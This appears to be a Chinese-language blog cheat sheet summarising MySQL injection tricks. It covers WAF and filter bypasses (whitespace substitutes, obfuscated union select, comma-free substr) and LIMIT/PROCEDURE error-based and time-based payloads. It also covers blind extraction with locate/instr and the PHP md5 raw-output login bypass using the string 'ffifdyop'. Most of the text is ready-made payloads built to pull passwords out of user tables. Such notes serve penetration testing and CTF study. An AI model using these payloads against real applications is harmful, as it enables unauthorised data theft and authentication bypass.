总结一下mysql中用的到的技巧
常量:true,false,null,\N,current_timestamp变量:@myvar:=1
系统变量:@@version,@@datadir…..
常用函数:version(),pi()(圆周率),pow(x,y)(返回X的Y次方,char(),substring()
字符串生成:hex(),conv()(数字进制转换)
有关于字符串生成的:true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6….
过滤的绕过
空格:%20, %09, %0a, %0b, %0c, %0d, %a0,还有一些可以利用括号或者注释
and,or:||,&&
union select:
利用括号,’and(true)like(false)union(select(pass)from(users)),
方括号union [all|distinct] select pass from users#, union%a0select pass from users,
或者内联注释union/&sort=/select pass from users#
union:子查询进行盲注and length((select pass from users having substr(pass,1,1)=’a’))
having:and(select substr(group_concat(pass),1,1)from users)=’a
select … from(过滤代码如/SELECT\s+[A-Za-z.]+\s+FROM/i/i):
select [all|distinct] pass from users selecttable_name
frominformation_schema
. tables
select pass as alias from users select pass aliasalias from users
select passalias alias
from users select+pass%a0from(users)
select,and,&: 这里就是可以利用上一篇文章中提到的false注入的方式进行绕过,具体见上文
不使用逗号:’ and substr(data from 1 for 1) = ‘a’#
不同情境的注入技巧
like
有时候可以利用一些逻辑语句进行注入
if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)
Limit
limit后面可以跟两个函数,PROCEDURE 和 INTO(需要写权限)
利用PROCEDURE 有两种方式,基于报错和时间,参考文章MySQL下Limit注入方法
5.6以上好像不行了QAQ。。。。。
基于报错
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
基于时间
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
order by
order by 后面的数字也可以作为一个注入点,参考文章MySQL Order By 注入总结
这里就不多写了
一些函数
不常用函数绕过滤
lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'
搜索匹配类的函数
'-if(locate('f',data),1,0)#'
'-if(locate('fo',data)1,0)#'
'-if(locate('foo',data),1,0)#'
instr()
position()
使用函数进行字符串切割
length(trim(leading 'a' from data))
length(replace(data,'a',''))
关于PHP中md5的一个姿势
例如,PHP中有这么一段SQL语句$sql = "select * from admin where pass = '".md5($password,true)."'";
这里是可以注入的,关于PHP中md5函数
如果可选的raw_output被设置为TRUE,那么md5报文摘要将以16字节长度的原始二进制返回
就是说找到一个字符串md5的二进制和字符编码中的某些编码对上,就会产生注入,这里贴出一个原文作者找到的字符串,ffifdyop,md5加密后对应的字符串是 'or'<trash>
原文